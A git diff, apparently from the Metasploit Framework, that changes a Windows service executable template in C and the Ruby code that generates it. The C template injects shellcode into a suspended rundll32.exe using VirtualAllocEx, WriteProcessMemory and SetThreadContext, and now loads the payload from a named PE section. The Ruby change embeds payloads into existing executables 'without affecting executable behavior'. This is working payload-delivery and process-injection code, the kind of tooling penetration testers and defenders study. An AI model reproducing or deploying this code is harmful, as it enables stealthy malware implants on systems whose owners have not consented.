diff --git a/data/templates/src/pe/exe_service/template.c b/data/templates/src/pe/exe_service/template.c index f8ff9b9716e05..e9c013de237ae 100644 --- a/data/templates/src/pe/exe_service/template.c +++ b/data/templates/src/pe/exe_service/template.c @@ -2,15 +2,63 @@ #include #define SCSIZE 8192 +#define MAX_SECTION_NAME_SIZE 9 char cServiceName[32] = "SERVICENAME"; - char bPayload[SCSIZE] = "PAYLOAD:"; +char bSectionName[MAX_SECTION_NAME_SIZE] = "SECTION:"; + +typedef struct { + // short is 2 bytes, long is 4 bytes + WORD signature; + WORD lastsize; + WORD nblocks; + WORD nreloc; + WORD hdrsize; + WORD minalloc; + WORD maxalloc; + WORD ss; + WORD sp; + WORD checksum; + WORD ip; + WORD cs; + WORD relocpos; + WORD noverlay; + WORD reserved1[4]; + WORD oem_id; + WORD oem_info; + WORD reserved2[10]; + DWORD e_lfanew; +} DOS_HEADER, *PDOS_HEADER; SERVICE_STATUS ss; SERVICE_STATUS_HANDLE hStatus = NULL; +PIMAGE_SECTION_HEADER SectionHeaderFromName(PDOS_HEADER pDosHeader, PVOID pName) { + // Retrieve the section header for the specified name. + // + // PDOS_HEADER pDosHeader: A pointer to the associated DOS header. + // PVOID pName: A pointer to the section header name to retrieve. + // Returns: A pointer to the section header or NULL if it could not be + // found. + PIMAGE_NT_HEADERS pImgNtHeaders = NULL; + PIMAGE_SECTION_HEADER pImgSecHeader = NULL; + PIMAGE_SECTION_HEADER pImgSecHeaderCursor = NULL; + DWORD dwCursor = 0; + + pImgNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)pDosHeader + pDosHeader->e_lfanew); + pImgSecHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pImgNtHeaders + sizeof(IMAGE_NT_HEADERS)); + for (dwCursor = 0; dwCursor < pImgNtHeaders->FileHeader.NumberOfSections; dwCursor++) { + pImgSecHeaderCursor = &pImgSecHeader[dwCursor]; + if (memcmp(pImgSecHeaderCursor->Name, pName, 8)) { + continue; + } + return pImgSecHeaderCursor; + } + return NULL; +} + #if BUILDMODE == 2 /* hand-rolled bzero allows us to avoid including ms vc runtime */ void inline_bzero(void *p, size_t l) @@ -44,12 +92,14 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors ) CONTEXT Context; STARTUPINFO si; PROCESS_INFORMATION pi; - LPVOID lpPayload = NULL; + void *lpPayload = bPayload; + unsigned int dwPayloadSize = SCSIZE; + #if BUILDMODE == 2 inline_bzero( &ss, sizeof(SERVICE_STATUS) ); inline_bzero( &si, sizeof(STARTUPINFO) ); inline_bzero( &pi, sizeof(PROCESS_INFORMATION) ); - + #endif si.cb = sizeof(STARTUPINFO); ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; @@ -64,23 +114,30 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors ) { ss.dwCurrentState = SERVICE_RUNNING; + PDOS_HEADER lpBaseAddress = (PDOS_HEADER) GetModuleHandleA(NULL); SetServiceStatus( hStatus, &ss ); + PIMAGE_SECTION_HEADER section; + section = SectionHeaderFromName((PDOS_HEADER) GetModuleHandleA(NULL), bSectionName); + if(section) { + lpPayload = lpBaseAddress + section->VirtualAddress; + dwPayloadSize = section->SizeOfRawData; + } if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) ) { Context.ContextFlags = CONTEXT_FULL; GetThreadContext( pi.hThread, &Context ); - lpPayload = VirtualAllocEx( pi.hProcess, NULL, SCSIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE ); + lpPayload = VirtualAllocEx( pi.hProcess, NULL, dwPayloadSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if( lpPayload ) { - WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, SCSIZE, NULL ); -#ifdef _WIN64 + WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, dwPayloadSize, NULL ); + #ifdef _WIN64 Context.Rip = (ULONG_PTR)lpPayload; -#else + #else Context.Eip = (ULONG_PTR)lpPayload; -#endif + #endif SetThreadContext( pi.hThread, &Context ); } diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ddfeb90fd0cfd..94a11a9804908 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -693,7 +693,26 @@ def self.to_win64pe_service(framework, code, opts = {}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") opts[:exe_type] = :service_exe - exe_sub_method(code,opts) + # Try to inject code into executable by adding a section without affecting executable behavior + if opts[:inject] + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x64, + :secname => opts[:secname] + }) + pe = injector.generate_pe + else + # Append a new section instead + appender = Msf::Exe::SegmentAppender.new({ + :payload => code, + :template => opts[:template], + :arch => :x64, + :secname => opts[:secname] + }) + pe = appender.generate_pe + end + return pe end # self.set_template_default_winpe_dll